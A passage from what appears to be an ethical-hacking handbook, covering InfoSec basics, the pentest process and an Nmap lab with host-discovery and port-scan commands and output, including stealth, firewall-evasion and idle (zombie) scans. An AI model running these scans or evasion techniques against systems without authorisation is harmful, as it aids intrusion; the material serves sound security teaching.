At this stage, if you understand what this script does and have worked on a few
more projects after this (excluding this one), you might consider learning a low-level
programming language. By doing so, you’ll be able to write faster and more efficient
tools in the future. Who knows? Thousands of people may end up using your tool
someday!
Future Expansion
This script has alot of additional expansions we can try some important yet
powerful functions or features include:
• Add Threading to Speed Up Scans
Python can be slow when iterating through ports one by one without threads.
Scanning ports from 1 to 1024 serially can take a long time. By using threading,
you can scan multiple ports at the same time, significantly speeding up the
process.
• Try Banner Grabbing to Identify Services on Open Ports
Once you've identified open ports, you can extend the script to grab banners
from those ports. Banners are often returned by services running on open ports
254
5/26/25, 7:47 PM
NCA's Hacking Handbook
(like HTTP, SSH, etc.) and can provide useful information about the software
version, helping in vulnerability assessments.
• Export Results to a File
Instead of just printing the results on the screen, you can export the findings to
a file (such as a json or csv ). This allows you to store and analyze results
later.
• Add Color Output
You can make the output more visually appealing and easier to interpret by
adding color. Python's colorama module allows you to add color to terminal
output, helping to highlight open ports or errors in different colors for better
readability.
Your Assignment
Use module colorama and make the current script colorful and easy to read.
255
5/26/25, 7:47 PM
NCA's Hacking Handbook
Basics of Cybersecurity
256
5/26/25, 7:47 PM
NCA's Hacking Handbook
Introduction to Information Security
Information Security is a field that protects the digital world we live in. Think of it
like locking your doors at home, but for computers, networks, and sensitive data. In
this chapter, we’ll walk through the key building blocks of information security, what
penetration testers do, what bug bounty hunters look for, and how we keep things
legal, ethical, and standardized.
Information Security Domains
Information Security (InfoSec) isn’t just about hackers and firewalls. It’s a broad
field with several important areas, known as domains, each focusing on a different
aspect of security. These domains include:
• Network Security: Protecting data as it travels across networks.
• Application Security: Making sure software doesn't have holes attackers can
use.
• Operational Security (OpSec): Managing processes and permissions.
• Physical Security: Controlling physical access to systems.
• Identity & Access Management (IAM): Ensuring the right people have the right
access.
• Governance, Risk & Compliance (GRC): Aligning security practices with laws
and policies.
Each domain plays a key role in building a solid defense strategy.
The CIA Triad: The Core of InfoSec
At the heart of everything in InfoSec is the CIA Triad — no, not the spy agency, but
a simple model made up of three key principles:
1. Confidentiality: Keep data secret. Only authorized people should see it.
257
5/26/25, 7:47 PM
NCA's Hacking Handbook
2. Integrity: Keep data accurate and untampered with.
3. Availability: Ensure data is accessible when needed.
Imagine you're guarding a treasure (your data). Confidentiality is the lock, integrity
makes sure no one swaps it for a fake, and availability ensures the rightful owner
can access it when needed.
Introduction to Penetration Testing
Penetration Testing (or Pentesting) is like hiring a friendly burglar to break into your
house — but digitally. Organizations hire security professionals to simulate attacks
and find weaknesses before real hackers do. It’s a mix of detective work, technical
skill, and creativity.
Pentesters use a variety of tools and techniques to test:
• Networks
• Applications
• Cloud services
• Physical access
The goal? Find and report security issues so they can be fixed. It’s one of the
coolest and most hands-on jobs in InfoSec.
Bug Bounty
Bug bounties are open invitations from companies to ethical hackers (also known
as Bug Bounty Hunters): “Find flaws in our systems, and we’ll pay you!” These
programs are usually run through platforms like HackerOne, Bugcrowd, Bugv or
Intigriti.
They reward hunters for discovering:
258
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Cross-site scripting (XSS)
• SQL injection
• Authentication bypasses
• And more…
It’s a win-win: companies get more secure, and hackers get recognition and
sometimes serious cash. Some people even make a full-time career out of it!
Standards and Frameworks
To keep things organized and consistent, InfoSec relies on standards and
frameworks. Think of these like blueprints or playbooks that help companies
secure their systems.
Here are a few you should know:
• ISO 27001: A global standard for managing information security.
• OWASP Top 10: A standard awareness document for developers and web
application security.
• PCI DSS: For companies handling credit card data (like online shops).
• HIPAA: For protecting health information in the medical field.
Following these standards helps businesses stay compliant, avoid fines, and —
most importantly — protect user data.
Legal and Ethical Considerations
Security isn't just technical — it's legal and ethical too. There’s a fine line between
ethical hacking and cybercrime, and professionals need to stay on the right side.
Here are some things to keep in mind:
• Get permission before testing. Always.
259
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Understand local laws — hacking laws vary by country.
• Respect privacy — never access personal data unless authorized.
• Report findings responsibly.
Ethical hackers follow a code of conduct that keeps the internet safer and helps
build trust.
Types of Penetration Tests
Pentesting isn’t one-size-fits-all. There are different types depending on the goal
and what’s being tested:
• Black-box Testing: No prior knowledge of the system (real-world attacker
simulation).
• White-box Testing: Full knowledge of the system (like source code,
credentials).
• Gray-box Testing: Some knowledge — somewhere in between black and white.
You might also see tests focusing on specific areas:
• Web Application Pentests
• Network Pentests
• Social Engineering Assessments
• Physical Security Testing
Each type helps uncover unique risks and vulnerabilities, and combined, they give a
full picture of an organization’s security posture.
Conclusion
Information Security is much more than firewalls and antivirus software — it's a
vibrant field filled with exciting challenges, ethical missions, and meaningful impact.
Whether you're defending systems or trying to break into them (legally, of course),
260
5/26/25, 7:47 PM
NCA's Hacking Handbook
the core goal is always the same: protecting information using the principles of
the CIA Triad.
261
5/26/25, 7:47 PM
NCA's Hacking Handbook
Penetration Testing Process
The penetration testing process is a structured approach to identifying, exploiting,
and mitigating vulnerabilities in systems, applications, and networks. Each phase of
the process builds upon the previous one, ensuring a comprehensive assessment
of the target environment.
The Penetration Testing Process
1. Pre-engagement Activities
Before doing anything technical, we begin with pre-engagement tasks. This is
where scope, rules, and goals are clearly defined between the tester and the client.
It includes:
• Scope: What systems can be tested? What’s off-limits?
• Testing Type: Black-box, white-box, or gray-box?
• Timeframe: When will the test happen?
• Rules of Engagement: What tools or techniques are allowed? Is social
engineering permitted?
• Legal Contracts: NDAs, agreements, and clear authorization to test.
262
5/26/25, 7:47 PM
NCA's Hacking Handbook
This phase is critical. It sets the boundaries and ensures everything is legal,
ethical, and safe.
2. Reconnaissance (Recon)
Reconnaissance is the information-gathering phase. The goal here is to collect as
much data as possible about the target without interacting too heavily with it.
There are two types:
• Passive Recon: Gathering information without touching the target (e.g., DNS
records, public data, social media).
• Active Recon: Direct interaction with the target (e.g., port scanning, banner
grabbing).
Tools like Nmap , theHarvester , and Shodan help discover:
• IP ranges
• Open ports
• Services and versions
• Employee emails or leaked credentials
This phase lays the foundation for identifying attack vectors in later steps.
3. Vulnerability Assessment
With recon data in hand, we now analyze the systems for known vulnerabilities.
The goal is to map weaknesses that can be exploited.
This includes:
• Identifying outdated software or unpatched services
• Detecting misconfigurations
263
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Looking for exposed interfaces (like admin panels or APIs)
• Scanning for CVEs (Common Vulnerabilities and Exposures)
Tools like Nessus , OpenVAS , and Nikto are used for automated scans, but
manual validation is key — not everything a scanner finds is exploitable or even
accurate.
4. Exploitation
This is the action phase. Based on the vulnerabilities found, the tester attempts to
gain unauthorized access or execute an attack.
Goals may include:
• Gaining system access (e.g., reverse shell, RCE)
• Privilege escalation (becoming an admin/root)
• Bypassing authentication or filters
• Capturing sensitive data (e.g., password hashes, database dumps)
Exploitation must be controlled and precise. You’re not trying to crash systems —
you’re proving the risk exists. Tools used might include Metasploit , SQLmap ,
Burp Suite , or custom scripts.
5. Post-exploitation
Once inside, the focus shifts to understanding what an attacker could do next. It’s
about maintaining access, escalating privileges, and collecting evidence of
impact.
Activities include:
• Enumerating internal networks
• Extracting tokens, passwords, or keys
264
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Accessing sensitive files (e.g., config.php , shadow files)
• Pivoting to other machines in the environment
• Creating persistence (e.g., adding users, planting web shells)
This phase demonstrates the real-world consequences of a successful exploit —
how far an attacker could go.
6. Reporting and Documentation
After testing, it's time to write the report — the most important deliverable. A good
report is clear, accurate, and useful to both technical teams and executives.
A proper report includes:
• Executive Summary: High-level findings, impact, and recommendations.
• Technical Details: Each vulnerability, how it was found, exploited, and its
severity (CVSS score).
• Proof of Concept: Screenshots or evidence.
• Remediation Advice: How to fix each issue.
Good documentation helps organizations patch vulnerabilities and improve
defenses.
7. Post-engagement Considerations
After the report is delivered, there may be follow-up tasks or discussions. This
includes:
• Debrief sessions with technical teams
• Answering questions or clarifying details
• Validating fixes (retesting patched issues)
• Secure data disposal (removing collected data responsibly)
265
5/26/25, 7:47 PM
NCA's Hacking Handbook
This phase reinforces trust and ensures the test leads to real improvements, not
just a checklist.
The Cycle in Motion
Penetration testing is not a one-time task. It's a repeatable cycle that adapts over
time. Threats evolve, environments change, and systems are updated. Regular
testing helps organizations stay ahead of attackers.
By mastering each phase — from scoping to follow-up — a penetration tester can
deliver valuable, ethical, and effective security assessments.
266
5/26/25, 7:47 PM
NCA's Hacking Handbook
Reconnaissance
267
5/26/25, 7:47 PM
NCA's Hacking Handbook
Network Enumeration
268
5/26/25, 7:47 PM
NCA's Hacking Handbook
Introduction
Network enumeration is a crucial process. It involves discovering and mapping out
the systems, devices, and services running on a network. By identifying the
network's structure, devices, and available ports, attackers or security
professionals can assess the potential vulnerabilities that might be exploited. This
phase often follows a network discovery scan and is a key step in the process of
penetration testing, network monitoring, and vulnerability assessments.
Network enumeration help gather critical information like:
• IP addresses of active devices
• Open ports on these devices
• Services running on these ports
• OS details and service versions
Tools for Network Enumeration
There are numerous tools available to perform network enumeration. Some tools
are more specialized, while others like Nmap are comprehensive and widely used.
We will focus on Nmap, with supplementary tools like Rustscan for specific use
cases.
Nmap (Network Mapper)
Nmap is the most popular and powerful network enumeration tool available. It is
widely used for discovering hosts and services on a computer network, thus
mapping out the network's topology. Developed by Gordon Lyon (also known as
Fyodor) in 1997, Nmap quickly gained popularity due to its reliability, flexibility, and
extensive feature set.
Features of Nmap:
269
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Port Scanning: Nmap can identify open ports on remote hosts, which is the first
step in determining which services are running.
• Service Version Detection: It can detect versions of services running on open
ports, which can help identify known vulnerabilities.
• OS Detection: Nmap can sometimes identify the operating system of a target
based on its responses to packets.
• Scripting Engine (NSE): Nmap has a powerful scripting engine, allowing the
user to automate tests, exploit known vulnerabilities, or gather additional
information.
• Firewall Evasion: With techniques like decoy scanning or fragmentation, Nmap
can bypass certain network defenses.
Nmap GUI: For users who prefer a graphical interface over the command line, there
is Zenmap, the official graphical user interface for Nmap. Zenmap offers all the
features of Nmap with an intuitive interface, making it easier for beginners and
professionals alike to use the tool effectively.
• Download Nmap: Nmap Official Website
Rustscan
Rustscan is a relatively newer tool for quickly scanning a network to find open
ports. It is built in Rust, a fast and efficient programming language, and is designed
to perform initial scans very quickly. While it can be used independently, we will
focus on using Rustscan as a wrapper for Nmap to quickly identify open ports.
Once Rustscan identifies the open ports, we can then pass this information to
Nmap to conduct more detailed enumeration and analysis.
Rustscan is particularly useful when you need to scan a large number of IP
addresses and identify open ports rapidly. It can significantly reduce the time it
takes to find open ports before running more intensive Nmap scans.
• Download Rustscan: Rustscan GitHub
Naabu
270
5/26/25, 7:47 PM
NCA's Hacking Handbook
Naabu is a fast port scanner built in Go. It is designed for high-speed port scanning
and focuses on quickly finding open ports. Like Rustscan, Naabu can be a good
tool for quickly finding open ports, and it is particularly helpful when scanning large
networks or multiple hosts. However, Naabu is typically less feature-rich than Nmap
and is generally used as a preliminary tool for gathering quick results before using
more detailed tools like Nmap.
• Download Naabu: Naabu GitHub
Masscan
Masscan is a tool designed to scan the entire internet in a short amount of time. It
is extremely fast, capable of scanning millions of IP addresses per second.
Masscan is typically used for large-scale network enumeration, and while it is
faster than Nmap, it lacks the depth of information that Nmap provides.
Masscan is often used for preliminary scans or when an overview of open ports
across a wide range of networks is needed. It is, however, less precise than Nmap
in terms of identifying services and versions.
• Download Masscan: Masscan GitHub
Combining Rustscan and Nmap
In our use case, we will primarily rely on Nmap for detailed network enumeration,
but we'll use Rustscan as a fast, preliminary tool to identify open ports. Here's how
this approach works:
1. Rustscan will quickly scan a target network to identify open ports. Since it
operates very fast, it helps reduce the time spent on the initial phase of the
scan.
2. After Rustscan identifies open ports, we can pass these results to Nmap for
further analysis. This may include detecting the services running on those
ports, gathering version information, and performing vulnerability assessments.
271
5/26/25, 7:47 PM
NCA's Hacking Handbook
3. Nmap's extensive scripting capabilities and OS detection provide detailed and
actionable information, allowing us to move forward with the penetration testing
or security audit.
By combining these tools, we can have the best of both worlds: rapid port
discovery and detailed service analysis.
Conclusion
Network enumeration is a critical step in cybersecurity assessments, helping
security professionals identify key information about network devices, services,
and vulnerabilities. While there are many tools available for enumeration, Nmap is
the tool of choice for comprehensive scans, while Rustscan, Naabu, and Masscan
offer fast alternatives for specific use cases. By using Rustscan for quick port
detection and Nmap for in-depth analysis, we can create an efficient and effective
workflow for network enumeration.
272
5/26/25, 7:47 PM
NCA's Hacking Handbook
Lab Setup
To learn about Nmap, we need to set up a lab environment. You can use vulnerable
machines like Metasploitable2, Metasploitable3, other VulnHub virtual machines,
or even your own custom-built targets. However, setting these up can be timeconsuming.
To save time, we'll be using the TryHackMe: Further Nmap room. This room is
specifically designed to teach Nmap. If you're following along with our handbook,
you can skip the content in the room itself—just start the machine and connect to
the TryHackMe VPN using OpenVPN to access the target IP.
Once you're connected and able to ping the machine's IP, you're ready to
continue.
If you're unfamiliar with how to connect to TryHackMe’s network, refer to this room:
TryHackMe: OpenVPN .
273
5/26/25, 7:47 PM
NCA's Hacking Handbook
Host Scanning
Make sure to use the following room for target:
https://tryhackme.com/room/furthernmap
Scenerio
Imagine you’ve just been hired by a mid-sized company called XYZ Corp to
perform a gray-box penetration test. You’ve been told that the internal security
team wants a full assessment of their infrastructure, and since it's a gray-box test,
you’re given some information to begin with.
The only thing you're handed as IN-SCOPE is a CIDR IP range that represents the
internal network:
10.10.0.0/16
You're told this test will happen within a Their Internal Network Environment,
meaning we are suppose to connect to their internal network using openvpn.
Since we are given a CIDR IP Range which is part of a subnet (the /16 range),
which means there may be multiple active machines in that same range. So we
scan the entire CIDR range to uncover other potential hosts within the same
network that are alive.
Finding Alive Hosts with Nmap
In this section, we'll focus on identifying live hosts — machines that are up and
responsive on the network. We’ll use Nmap for this, which is one of the most widely
used network scanning tools.
274
5/26/25, 7:47 PM
NCA's Hacking Handbook
Scan a Single Host by IP Address
In case we are given just a single IP as scope, we can simply pass the IP to Nmap
like so:
❯ nmap -sn 10.10.19.186
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:25 +0545
Nmap scan report for 10.10.19.186
Host is up (0.20s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
In the above command, the -sn flag tells Nmap to perform a ping scan only (i.e., to
check if the host is up) and not to perform any port scanning. All I need to know is
whether the given host (target IP) is alive or down.
Scan a CIDR Range
In assessments, we are typically given a CIDR range of the internal network of the
environment. With just the CIDR range, we must be able to identify alive hosts
within it. Since the CIDR range is in scope, we can target any alive host that's part
of it.
In our scenario, we're given the range 10.10.0.0/16 . We can use a subnet
calculator, such as this one , to see how many usable hosts it can contain. The
calculator shows that this CIDR range can have 65,534 usable hosts.
Since scanning the entire range would take a lot of time, we'll limit our scan to a
/24 subnet of the target IP to save time. That will be: 10.10.19.0/24 .
275
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap 10.10.19.0/24 -sn -vv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:14 +0545
Initiating Ping Scan at 10:14
Scanning 256 hosts [2 ports/host]
Completed Ping Scan at 10:14, 11.04s elapsed (256 total hosts)
Initiating Parallel DNS resolution of 5 hosts. at 10:14
Completed Parallel DNS resolution of 5 hosts. at 10:14, 0.02s elapsed
Nmap scan report for 10.10.19.0 [host down, received no-response]
Nmap scan report for 10.10.19.1 [host down, received no-response]
//..SNIP..//
Nmap scan report for 10.10.19.42 [host down, received no-response]
Nmap scan report for 10.10.19.43
Host is up, received syn-ack (0.18s latency).
Nmap scan report for 10.10.19.44 [host down, received no-response]
//..SNIP..//
Nmap scan report for 10.10.19.83 [host down, received no-response]
Nmap scan report for 10.10.19.84
Host is up, received syn-ack (0.18s latency).
Nmap scan report for 10.10.19.85 [host down, received no-response]
//..SNIP..//
Nmap scan report for 10.10.19.96 [host down, received no-response]
Nmap scan report for 10.10.19.97
Host is up, received syn-ack (0.18s latency).
Nmap scan report for 10.10.19.98 [host down, received no-response]
//..SNIP..//
Nmap scan report for 10.10.19.102 [host down, received no-response]
Nmap scan report for 10.10.19.103
Host is up, received syn-ack (0.18s latency).
Nmap scan report for 10.10.19.104 [host down, received no-response]
//..SNIP..//
Nmap scan report for 10.10.19.185 [host down, received no-response]
Nmap scan report for 10.10.19.186
Host is up, received syn-ack (0.17s latency).
Nmap scan report for 10.10.19.187 [host down, received no-response]
//..SNIP..//
Nmap scan report for 10.10.19.255 [host down, received no-response]
Nmap done: 256 IP addresses (5 hosts up) scanned in 11.06 seconds
Using the following scan, Nmap found 5 hosts up out of 256 IPs in just 11.06
seconds.
276
5/26/25, 7:47 PM
NCA's Hacking Handbook
Scan Multiple IP Addresses
Let's say in the assessment we’re given only 3 IPs in scope: 10.10.19.186 ,
10.10.19.84 , and 10.10.19.103 .
We can scan them in two ways:
Using a list file:
❯ nmap -sn -iL ip_list.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:37 +0545
Nmap scan report for 10.10.19.186
Host is up (0.24s latency).
Nmap scan report for 10.10.19.84
Host is up (0.24s latency).
Nmap done: 3 IP addresses (2 hosts up) scanned in 2.92 seconds
Where ip_list.txt contains the three IPs.
Passing all IPs as arguments:
❯ nmap -sn 10.10.19.186 10.10.19.84 10.10.19.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:36 +0545
Nmap scan report for 10.10.19.186
Host is up (0.18s latency).
Nmap scan report for 10.10.19.84
Host is up (0.18s latency).
Nmap done: 3 IP addresses (2 hosts up) scanned in 2.41 seconds
As you can see from the output of both commands, Nmap reports that 2 hosts are
up out of the 3 in scope. This means one host— 10.10.19.103 —is down or not
responding.
Scan an IP Range
We can scan a range of IPs like this as well:
277
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap -sn 10.10.19.1-100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:40 +0545
Nmap scan report for 10.10.19.43
Host is up (0.21s latency).
Nmap scan report for 10.10.19.84
Host is up (0.21s latency).
Nmap scan report for 10.10.19.85
Host is up (0.21s latency).
Nmap scan report for 10.10.19.97
Host is up (0.20s latency).
Nmap done: 100 IP addresses (4 hosts up) scanned in 8.66 seconds
This will scan from .1 to .100 in the 10.10.19.x network.
Bonus
Although these are part of the bonus, you’ll be using them quite often—so make
sure to take good notes on them as well.
Verbose Output
Verbose means using more words than necessary. In Nmap, the -v flag enables
basic verbosity, while -vv gives even more detailed output.
What does this mean?
Normally, Nmap shows the full results only after the scan is finished. But with -vv ,
you get real-time updates during the scan. This includes details like which IPs are
down.
For example, in the "Scan a CIDR Range" section, I used the -vv flag. The output
listed each scanned IP and showed whether it was up or down—which I had to snip
because it was too long. Look at the example below where I scanned 10 IPs, and all
of them were down (lol).
278
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap -sn 10.10.19.1-10 -vv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:45 +0545
Initiating Ping Scan at 10:45
Scanning 10 hosts [2 ports/host]
Completed Ping Scan at 10:46, 5.00s elapsed (10 total hosts)
Nmap scan report for 10.10.19.1 [host down, received no-response]
Nmap scan report for 10.10.19.2 [host down, received no-response]
Nmap scan report for 10.10.19.3 [host down, received no-response]
Nmap scan report for 10.10.19.4 [host down, received no-response]
Nmap scan report for 10.10.19.5 [host down, received no-response]
Nmap scan report for 10.10.19.6 [host down, received no-response]
Nmap scan report for 10.10.19.7 [host down, received no-response]
Nmap scan report for 10.10.19.8 [host down, received no-response]
Nmap scan report for 10.10.19.9 [host down, received no-response]
Nmap scan report for 10.10.19.10 [host down, received no-response]
Nmap done: 10 IP addresses (0 hosts up) scanned in 5.01 seconds
Scan Speed
We can use the -T flag in Nmap to adjust the timing and speed of the scan. This
ranges from 0 (the slowest and most stealthy) to 5 (the fastest and most
aggressive). The following table describes all the timing levels:
Value
Timing Template
Description
0
Paranoid
Very slow, used for IDS
evasion
1
Sneaky
Slow, also used for stealth
2
Polite
Slows down to use less
bandwidth
3
Normal (default)
Balanced speed and stealth
4
Aggressive
Faster, but more detectable
5
Insane
Very fast, likely to trigger
alerts
The following shows how we can use the -T4 flag to scan a /24 network by
increasing the speed with -T set to 4 .
279
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap -sn -T4 10.10.19.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:49 +0545
Nmap scan report for 10.10.19.43
Host is up (0.25s latency).
Nmap scan report for 10.10.19.85
Host is up (0.25s latency).
Nmap scan report for 10.10.19.97
Host is up (0.18s latency).
Nmap scan report for 10.10.19.186
Host is up (0.27s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 33.77 seconds
Compare Speed
Let's scan 101 IP addresses using -T4 , without the timing flag, and with the -T1
flag, and see how much time it takes for all of them to finish the scan.
Without Timing Flag
❯ nmap -sn 10.10.19.0-100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:53 +0545
Nmap scan report for 10.10.19.43
Host is up (0.17s latency).
Nmap scan report for 10.10.19.85
Host is up (0.23s latency).
Nmap scan report for 10.10.19.97
Host is up (0.22s latency).
Nmap done: 101 IP addresses (3 hosts up) scanned in 8.89 seconds
By default, if we do not set any timing flag, Nmap uses the default speed and
timing options (i.e. -T3 )
With -T4
280
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap -sn -T4 10.10.19.0-100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 10:54 +0545
Nmap scan report for 10.10.19.43
Host is up (0.20s latency).
Nmap scan report for 10.10.19.85
Host is up (0.18s latency).
Nmap scan report for 10.10.19.97
Host is up (0.24s latency).
Nmap done: 101 IP addresses (3 hosts up) scanned in 7.25 seconds
If you notice, using the -T4 flag, the scan took 7.25 seconds to scan 101 IP
addresses, with 3 hosts up. However, when no timing flag was set (which
defaults to -T3 ), the scan took 8.89 seconds. This shows that using the -T4
flag slightly increased the speed of the scan.
With -T1
I didn’t wait for the scan with -T1 to finish because it takes really long—like,
really long. Not kidding, haha! I stopped the scan after 22 minutes and 57
seconds, and it still hadn’t finished finding alive hosts in the range 10.10.19.0100 .
This kind of scan is useful for bypassing basic IDS/firewalls. However, modern
firewalls, especially next-gen firewalls with packet inspection capabilities, can
easily catch these, even if we're using -T0 .
When playing CTFs, it's good to use the -T4 flag for timing and speed. However,
when performing a real assessment or pentest, we should consider the scan speed
based on our goal. For example, if we need to attack quietly (i.e., without alerting
defenders or triggering firewalls), we may want to lower the timing depending on the
environment. In a non-evasive assessment, we can typically use the -T3 flag, which
won't overwhelm the systems. Just remember, never use the -T5 flag in any
production environment, as it may overwhelm the server.
281
5/26/25, 7:47 PM
NCA's Hacking Handbook
Conclusion
Now that we know which hosts are up, the next step is to dive deeper into those
individual hosts. In the next section, we’ll explore how to use Nmap to:
• Discover open ports
• Enumerate running services
282
5/26/25, 7:47 PM
NCA's Hacking Handbook
Scan Types
Since we already talked about how to find out if a host is alive on the network, it's
time to explore deeper. There are many scan types we can perform using Nmap —
not just to find active hosts, but also to discover open ports, identify services,
operating systems, and even to evade firewalls or avoid being detected by intrusion
detection systems (IDS).
These scan types differ based on the kind of packets they send, how they respond
to different network setups, and how stealthy they are.
Please note that by default, if we don't have -sn it will also try to look for top mostly
used ports.
TCP Connect Scan ( -sT )
283
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap 10.10.20.208 -sT -vv -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 12:21 +0545
Initiating Ping Scan at 12:21
Scanning 10.10.20.208 [2 ports]
Completed Ping Scan at 12:21, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:21
Completed Parallel DNS resolution of 1 host. at 12:21, 0.01s elapsed
Initiating Connect Scan at 12:21
Scanning 10.10.20.208 [1000 ports]
Discovered open port 21/tcp on 10.10.20.208
Discovered open port 53/tcp on 10.10.20.208
Discovered open port 80/tcp on 10.10.20.208
Discovered open port 3389/tcp on 10.10.20.208
Discovered open port 135/tcp on 10.10.20.208
Completed Connect Scan at 12:21, 15.11s elapsed (1000 total ports)
Nmap scan report for 10.10.20.208
Host is up, received syn-ack (0.23s latency).
Scanned at 2025-04-24 12:21:07 +0545 for 15s
Not shown: 995 filtered tcp ports (no-response)
PORT
STATE SERVICE
REASON
21/tcp
open ftp
syn-ack
53/tcp
open domain
syn-ack
80/tcp
open http
syn-ack
135/tcp open msrpc
syn-ack
3389/tcp open ms-wbt-server syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.33 seconds
This is the most basic and reliable scan.
• How it works: It completes a full TCP three-way handshake with each port.
• If the port is closed, the target sends back a RST (Reset) packet.
• Use case: Works on any network and doesn't need root privileges.
• Downside: Very noisy. It’s easily detected by firewalls and logged by IDS.
284
5/26/25, 7:47 PM
NCA's Hacking Handbook
SYN Scan (Stealth Scan) ( -sS )
This scan type requires you to run with sudo permission.
I used -Pn flag in below example because the target system is Windows and has
firewall enabled by default which blocks ICMP packet. You can try ping
10.10.20.208 and you will notice it won't reply because ICMP packet is blocked. This
option skips the Nmap discovery stage and asume the target is UP.
❯ sudo nmap 10.10.20.208 -sS -vv -T4 -Pn
[sudo] password for rezy:
Host discovery disabled (-Pn). All addresses will be marked 'up' and
scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 12:24 +0545
Initiating Parallel DNS resolution of 1 host. at 12:24
Completed Parallel DNS resolution of 1 host. at 12:24, 0.03s elapsed
Initiating SYN Stealth Scan at 12:24
Scanning 10.10.20.208 [1000 ports]
Discovered open port 135/tcp on 10.10.20.208
Discovered open port 80/tcp on 10.10.20.208
Discovered open port 53/tcp on 10.10.20.208
Discovered open port 3389/tcp on 10.10.20.208
Discovered open port 21/tcp on 10.10.20.208
Completed SYN Stealth Scan at 12:24, 14.68s elapsed (1000 total ports)
Nmap scan report for 10.10.20.208
Host is up, received user-set (0.20s latency).
Scanned at 2025-04-24 12:24:36 +0545 for 15s
Not shown: 995 filtered tcp ports (no-response)
PORT
STATE SERVICE
REASON
21/tcp
open ftp
syn-ack ttl 127
53/tcp
open domain
syn-ack ttl 127
80/tcp
open http
syn-ack ttl 127
135/tcp open msrpc
syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds
Often called a half-open scan, this is the most commonly used scan.
285
5/26/25, 7:47 PM
NCA's Hacking Handbook
• How it works:
• Why stealthy? It never completes the TCP connection, making it harder for the
target system to log.
• Use case: Great for scanning while staying under the radar. Needs root/admin
privileges.
UDP Scan ( -sU )
❯ sudo nmap 10.10.20.208 -sU -vv -T4 -Pn
[sudo] password for rezy:
Host discovery disabled (-Pn). All addresses will be marked 'up' and
scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 12:31 +0545
Initiating Parallel DNS resolution of 1 host. at 12:31
Completed Parallel DNS resolution of 1 host. at 12:31, 0.01s elapsed
Initiating UDP Scan at 12:31
Scanning 10.10.20.208 [1000 ports]
Discovered open port 53/udp on 10.10.20.208
UDP Scan Timing: About 22.95% done; ETC: 12:33 (0:01:47 remaining)
[//..SNIP..//]
UDP Scan Timing: About 98.20% done; ETC: 12:59 (0:00:30 remaining)
Completed UDP Scan at 12:59, 1696.75s elapsed (1000 total ports)
Nmap scan report for 10.10.20.208
Host is up, received user-set (0.21s latency).
Scanned at 2025-04-24 12:31:28 +0545 for 1696s
Not shown: 999 open|filtered udp ports (no-response)
PORT
STATE SERVICE REASON
53/udp open domain udp-response ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1696.81 seconds
Unlike TCP, UDP is connectionless — so this scan works differently.
286
5/26/25, 7:47 PM
NCA's Hacking Handbook
• How it works:
◦ If no response comes back, it might be open, filtered, or dropped by a
firewall.
• Downside: UDP scanning is slow and less reliable because it depends on no
response, and ICMP messages can be filtered.
• Use case: Useful for detecting services like DNS, SNMP, or DHCP that use UDP.
ACK Scan ( -sA )
Used to map firewall rules.
• How it works:
• Note: Doesn’t tell you if the port is open or closed — just whether it’s reachable.
• Use case: Determine if a firewall is present and which ports it allows through.
FIN, NULL, and Xmas Scans ( -sF , -sN , -sX )
These are stealthy scans designed to bypass firewalls and IDS by sending weird,
malformed TCP packets.
287
5/26/25, 7:47 PM
NCA's Hacking Handbook
• FIN Scan: Sends a packet with only the FIN flag set.
• NULL Scan: Sends a packet with no flags set at all (just a raw TCP header).
• Xmas Scan: Sends a packet with FIN, URG, and PSH flags lit — like lights on a
Christmas tree (hence the name).
How they work:
These scans exploit a behavior defined in the TCP RFC (Request for Comments),
which says that:
• If a closed TCP port receives one of these unusual packets, it must respond
with a RST (Reset).
• If the port is open, it should ignore the packet and send nothing back.
So, Nmap interprets the results like this:
• No response: Port is open or filtered.
• RST received: Port is closed.
This technique is useful for evading IDS and firewalls that only look for standard
connection patterns (like SYN packets or full handshakes).
However, there’s a catch: Not all systems behave according to the RFC. Windows
systems, for example, often send RSTs for any unexpected packets — even to
open ports. That means these scans can produce false negatives or unreliable
results on non-RFC-compliant targets.
Learn about RFC here .
Idle Scan ( -sI )
The Idle Scan is one of the most advanced and stealthy scans available in Nmap.
This scan doesn’t send packets directly to the target at all. Instead, it uses a thirdparty host — called a "zombie" — to probe the target on your behalf.
288
5/26/25, 7:47 PM
NCA's Hacking Handbook
1. Nmap first probes the zombie to learn its IP ID sequence behavior.
2. Then it sends spoofed SYN packets to the target, pretending to be the zombie.
3. If the target replies to the zombie with a SYN-ACK (meaning the port is open),
the zombie's IP ID will increase (since it responds with a RST).
4. If the port is closed, the target replies with a RST, and the zombie stays idle.
5. Nmap checks the zombie’s IP ID again to detect any changes.
